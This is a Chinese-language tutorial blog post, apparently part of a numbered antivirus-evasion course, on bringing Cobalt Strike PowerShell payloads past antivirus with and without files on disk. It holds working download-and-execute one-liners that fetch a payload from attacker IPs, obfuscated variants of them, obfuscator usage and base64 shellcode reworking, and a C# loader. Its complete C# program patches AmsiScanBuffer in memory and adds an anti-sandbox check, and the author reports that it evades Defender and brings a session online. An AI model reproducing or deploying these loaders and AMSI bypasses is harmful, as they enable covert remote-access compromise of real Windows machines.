免杀对抗——C2远控篇&PowerShell&有无文件落地&C#参数调用&绕AMSI&ETW&去混淆特征

文章目录

免杀对抗------第一百五十五天

C2远控篇&PowerShell&有无文件落地&C#参数调用&绕AMSI&ETW&去混淆特征

前置知识

PowerShell
  • PowerShell 是微软开发的跨平台命令行外壳和脚本语言,核心革新在于传递.NET对象而非纯文本 ,命令格式为动词-名词(如 Get-Process)。
  • PowerShell cmdlet旨在处理对象,对象是结构化信息,不仅仅是屏幕上出现的字符串,命令输出会始终包含你在需要时可使用的额外信息,如果以前使用过文本处理工具来处理数据,那么在PowerShell中使用时,会发现它们的行为有所不同,在大多数情况下,不需要文本或文本处理工具来提取特定信息,可以使用标准PowerShell对象语法直接访问数据的各部分。
PowerShell两种上线方式
  • 类似于C、C++、Python这些语言,PowerShell也有自己的处理脚本,后缀为.ps1,语法:PowerShell 基本语法 | 菜鸟教程

  • 在安全领域,由于它是微软自己推出的,所以在Windows7及之后的系统中都自带了PowerShell,所以不用考虑环境的问题;然后就是由于其特性,我们可以直接利用它进行有无文件上线CS

  • 在CS中,有两种PowerShell的payload生成方式,一种是生成.ps1脚本,一种是生成powershell命令 ,前者就是有文件落地的上线方式,后者就是无文件落地的上线方式

  • 比如第一种有文件落地,直接上传到目标主机,暂时不考虑免杀的问题,然后直接powershell运行该脚本即可:

  • 直接运行可能会报错,因为PowerShell 执行策略(Execution Policy)默认禁止运行未签名脚本,防止恶意代码执行,所以我们可以用如下命令去绕过这个机制:

powershell 复制代码
powershell -ExecutionPolicy Bypass -File .\payload64.ps1
  • 然后第二种无文件落地的方式就直接运行生成的PowerShell命令即可:
powershell 复制代码
powershell -nop -w hidden -encodedcommand <编码后的PowerShell恶意上线代码>
  • 当然也可以用这个命令的原型:
powershell 复制代码
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.129:8999/shell'))"

# 参数解释
-nop:不加载用户配置文件,加快执行并规避profile中的安全设置
-w hidden:隐藏窗口,执行时用户看不到任何界面( stealth )
-c:执行后续命令字符串
IEX:执行字符串作为PowerShell代码,相当于php中的eval
New-Object Net.WebClient:创建Web客户端对象,用于网络通信
.DownloadString():从URL下载文本内容
  • 然后在CS上生成这个文件,让目标主机去下载上线:

  • 但是由于这种无文件落地的流行,自从Windows10开始,微软就推出了AMSI和ETW来对其进行检测,当然很多杀软也会对powershell的敏感命令进行拦截

C2远控 - PowerShell文件-冷门混淆器&去特征

  • 参考文章

  • 我们先来看PowerShell的有文件落地如何对其进行免杀,其实它就和之前的C、C++、Python等语言都是一样的

  • 我们可以看看生成出来的ps1文件,这里需要注意在PowerShell中32位和64位的写法差异很大,所以我们需要分开来看

  • 直接打开刚才生成的payload64.ps1payload32.ps1文件,windows是自带powershell语言解释器的,直接搜索PowerShell ISE打开即可:

  • 这里我们先看32位的脚本,因为它更简单一点,先从简单的一步步来:

  • 所以我们要免杀的东西就很简单了,就是这一大堆的字符串,比如最简单的就是将这些字符串进行加密混淆+文件分离,代码如下:

powershell 复制代码
Set-StrictMode -Version 2

# 从网站中下载1.txt
$DoIt=((New-object System.Net.Webclient).DownloadString('http://10.81.194.236:8888/1.txt'))
# 对$DoIt进行Base64解码
$basetest=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))

If ([IntPtr]::size -eq 8) {
	start-job {param($a) IEX $a} -RunAs32 -Argument $basetest | wait-job | Receive-Job
}
else {
	IEX $basetest
}
  • 我们将原来代码字符串Base64编码之后放到攻击机上,将这个脚本放到目标主机上,过个火绒还是轻轻松松的:
powershell 复制代码
powershell -ExecutionPolicy Bypass -File .\payload32.ps1
  • 但是也就只能过个火绒了,360、DF静态还是能过,但是无法上线,我们还是得换方法,但是这个只能重新修改一个新的代码出来,只要本体不变,不管怎么混淆基本都过不了后面的杀毒软件,所以这个就等我们有能力再回来改吧

  • 我们看看64位的脚本,这个就要灵活很多,因为它并不是直接字符串的形式去加载,那首先我们要更改的就是它的表面特征,比如函数名、变量名等等:

  • 然后就是对它的ShellCode进行一个混淆,比如它这里是先对他进行了Base64解码,再进行XOR异或得到真正的ShellCode,那我们可以换其他的加解密方式,比如我们这里将其改为byte流数据:

powershell 复制代码
> $string = ''
> $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('<Base64_ShellCode>')
> $s |foreach { $string = $string + $_.ToString()+','}
> echo $string
  • 然后将原本的Base64编码的数据改为:
powershell 复制代码
[Byte[]]$nmziedx = [Byte[]](<生成的Byte流数据>)
  • 但是这样肯定是不够的,因为这都是两三年前的手段了,直接杀了,所以我们还需要继续进行免杀,这里小迪用的是网上的混淆工具:danielbohannon/Invoke-Obfuscation: PowerShell Obfuscator
  • 但这个工具已经是八年前的东西了,不过也还能用,多混淆几次应该还是能过一小部分杀软的
  • 直接下载然后用PowerShell运行如下命令:
powershell 复制代码
# 在CMD中启动新的PowerShell会话并绕过策略(临时)
powershell -ExecutionPolicy Bypass -NoExit

# 导入加载模块
Import-Module ./Invoke-Obfuscation.psd1

# 运行工具
Invoke-Obfuscation
  • 我们输入如下命令去使用:
powershell 复制代码
# 设置payload路径
set scriptpath <payload路径>

# 选择token模式
token

# 选择所有选项混淆
all

# 选择执行第一个
1

# 导出到目标文件
out 11.ps1
  • 这就是混淆之后的powershell代码:

  • 但是由于这个工具特征太明显,所以依旧被杀,此时我们有三种方式:要么修改工具特征;要么多次混淆;要么换其他工具

  • 这里小迪又换了一款工具比较冷门的混淆器,但是估计现在也是不太行了,因为一年前停止更新了:Chainski/AES-Encoder: PowerShell Obfuscator. A PowerShell script anti-virus evasion tool

  • 然后使用如下命令使用:

powershell 复制代码
powershell -ExecutionPolicy Bypass -NoExit

Import-Module .\AES-Encoder.ps1

Invoke-AES-Encoder -InFile <payload路径> -OutFile <导出文件名> -Iterations <混淆次数>
  • 这是混淆之后的代码,可以看到特征全部被打乱了:

  • 但是现在这个方法还是过不了卡巴、DF,没啥用,还是要么多混淆几次,要么再换混淆器,但是经过实验,目前存在的混淆器(Invoke-Stealth、psobf等)基本都绕过不了,它只要检测到外联行为就基本寄寄

  • 所以还是得改动代码本身,再结合这些混淆器可能还有点用

C2远控 - PowerShell无文件-分割&AMSI&ETW

powershell 复制代码
# 命令混淆分割
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.129:8089/shell'))"

# 大小写&命令拆分
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('ht'+'tP://19'+'2.168.0.12'+'9:8089/shell'))"

# 大小写&反引号处理
cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "Ne`T.WeB`ClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://19'+'2.168.0.12'+'9:8089'+'/xd') | p^o^w^e^r^s^h^e^l^l -
  • 不过也没啥用,依旧被拦截:

  • 我们第二种思路就是通过C#代码去加载刚才的命令,比如这个代码:

Csharp 复制代码
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.IO;
using System;
using System.Text;
namespace PSLess
{
 class PSLess
 {
   static void Main(string[] args)
   {
     if(args.Length ==0)
         Environment.Exit(1);
 string temp = Base64Decode(args[0]);
     string s=RunScript(temp);
     Console.WriteLine(s);
     Console.ReadKey();
   }

 public static string Base64Decode(string s)
 {
    return System.Text.Encoding.Default.GetString(System.Convert.FromBase64String(s));
 }


 private static string RunScript(string script)
 {
   //创建powershell运行空间
    Runspace MyRunspace = RunspaceFactory.CreateRunspace();
    //打开运行空间
    MyRunspace.Open();
    //创建一个命名管道
    Pipeline MyPipeline = MyRunspace.CreatePipeline();
    //向管道提供脚本文件
    MyPipeline.Commands.AddScript(script);
    MyPipeline.Commands.Add("Out-String");
    //执行脚本
    Collection<PSObject> outputs = MyPipeline.Invoke();
    //关闭运行空间
    MyRunspace.Close();
   StringBuilder sb = new StringBuilder();
   foreach (PSObject pobject in outputs)
   {
       sb.AppendLine(pobject.ToString());
   }
    return sb.ToString();
  }
 }
}
  • 它的作用就是接收一个Base64编码后的参数,然后解码用PowerShell去运行这个字符串,我们将它编译一下
  • 如果没有安装过.NET环境的需要自己装一下,装好之后找到csc.exe文件和system.management.automation.dll文件完整路径,用如下命令进行编译:
powershell 复制代码
csc.exe /reference:System.Management.Automation.dll /out:ps.exe .\ps.cs
  • 然后将生成出来的ps.exe放到目标主机上,这个肯定是不会被杀的,因为没有任何危险行为
  • 现在我们将之前无文件落地的命令进行base64编码:
powershell 复制代码
IEX ((new-object net.webclient).downloadstring('http://192.168.0.129:8089/ss'))
  • 然后以参数的形式传进去运行:

  • 但是依旧会被检测到,360、卡巴、DF还是过不去,我们还是需要对方法进行改良,然后来到今天的重头戏------绕AMSI

  • 反恶意软件扫描接口(AMSI)打补丁将有助于绕过执行PowerShell脚本(或其他支持AMSI的内容,如JScript)时触发的AV警告,这些脚本被标记为恶意。不要在隐蔽的操作中使用原样,因为它们会被标记出来。混淆,甚至更好的是,通过改变你的脚本来击败基于签名的检测,完全消除对AMSI绕过的需要。

  • 在PowerShell无文件攻击流行了一段时间后,微软在Windows 10中引入了AMSI(Antimalware Scan Interface)接口,经过几年的更新迭代,到目前为止,基本所有比较知名的PowerShell编写的攻击工具都会被Windows Defender拦截,比如PowerSploit,PowerView,cobaltstrike的PowerShell payload等。

  • 这里我们更改上面的代码如下:

csharp 复制代码
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Collections.ObjectModel;
using System.Runtime.InteropServices;
using System.Text;
using System.Collections.Generic;
using System.Diagnostics; 


namespace MyPowershell
{
    class Program
    {
        // 使用DllImport属性导入kernel32.dll中的GetProcAddress函数,用于获取指定模块的函数或变量的地址。
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        // 导入kernel32.dll中的LoadLibrary函数,用于加载指定的动态链接库,并返回库的句柄。
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);

        // 导入kernel32.dll中的VirtualProtect函数,用于改变指定内存区域的保护属性。
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        // 用于将byte数组中的数据复制到指定的内存地址中。
        private static void copy(Byte[] Patch, IntPtr Address)
        {
            Marshal.Copy(Patch, 0, Address, 6);
        }

        // 此方法通过修改AmsiScanBuffer函数来bypass AMSI检测。
        public static void chaching()
        {
            // 加载amsi.dll
            IntPtr Library = LoadLibrary("a" + "m" + "s" + "i" + ".dll");
            // 获取AmsiScanBuffer函数的地址
            IntPtr Address = GetProcAddress(Library, "Amsi" + "Scan" + "Buffer");
            uint p;
            // 修改AmsiScanBuffer函数的内存保护属性
            VirtualProtect(Address, (UIntPtr)5, 0x40, out p);
            // 准备新的函数字节码
            Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
            // 将新的函数字节码复制到AmsiScanBuffer函数的地址
            copy(Patch, Address);
            Console.WriteLine("Patch Applied");
        }

        static void Main(String[] args)
        {
            // 如果命令行参数为空,结束程序运行
            if (args.Length == 0)
                Environment.Exit(1);

            // 判断系统的进程数是否小于40,如果小于40则退出程序(用来反defender的沙箱)
            if (Process.GetProcesses().Length < 40)
            {
                Console.WriteLine("The number of processes in the system is less than 40. Exiting the program.");
                Environment.Exit(0);
            }

            List<string> argsList = new List<string>(args);

            // 如果命令行参数中包含"-s",则执行bypass amsi的操作
            if (argsList.Contains("-s"))
            {
                chaching();
                argsList.Remove("-s"); //从参数数组中移除"-s"
            }

            // 对传入的Base64编码的字符串进行解码
            string temp = Base64Decode(argsList[0]);
            // 运行解码后的PowerShell脚本,并将执行结果输出到控制台
            string s = RunScript(temp);
            Console.WriteLine(s);
            Console.ReadKey();
        }

        // Base64解码函数
        public static string Base64Decode(string s)
        {
            return System.Text.Encoding.Default.GetString(System.Convert.FromBase64String(s));
        }

        // 运行PowerShell脚本并返回执行结果的函数
        private static string RunScript(string script)
        {
            // 创建并打开一个运行空间,用于运行PowerShell命令
            Runspace MyRunspace = RunspaceFactory.CreateRunspace();
            MyRunspace.Open();

            // 在运行空间中创建一个管道,用于存放待执行的PowerShell命令
            Pipeline MyPipeline = MyRunspace.CreatePipeline();
            // 在管道中添加PowerShell命令
            MyPipeline.Commands.AddScript(script);
            // 在管道中添加输出命令,使得PowerShell命令的执行结果能被程序获取
            MyPipeline.Commands.Add("Out-String");

            // 调用管道中的PowerShell命令,并获取执行结果
            Collection<PSObject> outputs = MyPipeline.Invoke();
            // 关闭运行空间
            MyRunspace.Close();

            // 将执行结果转换为字符串
            StringBuilder sb = new StringBuilder();
            foreach (PSObject pobject in outputs)
            {
                sb.AppendLine(pobject.ToString());
            }

            return sb.ToString();
        }
    }
}
  • 这个其实就新增了一个功能,通过修改AmsiScanBuffer函数来bypass AMSI检测,然后小迪说要用VS编译,其实我这里直接用上面那个命令照样能够运行:
powershell 复制代码
.\psamsi.exe -s <Base64编码后的ShellCode>
  • 并且DF能够成功上线执行命令,不过卡巴是直接把这个文件杀掉了,卡巴斯基还是牛逼啊:

  • 但是维持一会还是掉,所以目前这个技术还是能够绕过DF的查杀的,还是有点用的

  • 然后今天的最后一个知识点就是将PowerShell转换为EXE,不过没什么太大的鸟用,这里我也不讲了

相关推荐
用户2986985301415 小时前
.NET 文档自动化:Spire.Doc 设置奇偶页页眉/页脚的最佳实践
后端·c#·.net
用户36674625267416 小时前
接口文档汇总 - 2.设备状态管理
c#
用户36674625267416 小时前
接口文档汇总 - 3.PLC通信管理
c#
tingshuo29171 天前
S001 【模板】从前缀函数到KMP应用 字符串匹配 字符串周期
笔记
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
RuoZoe1 天前
重塑WPF辉煌?基于DirectX 12的现代.NET UI框架Jalium
c语言
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
Ray Liang1 天前
用六边形架构与整洁架构对比是伪命题?
java·python·c#·架构设计
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全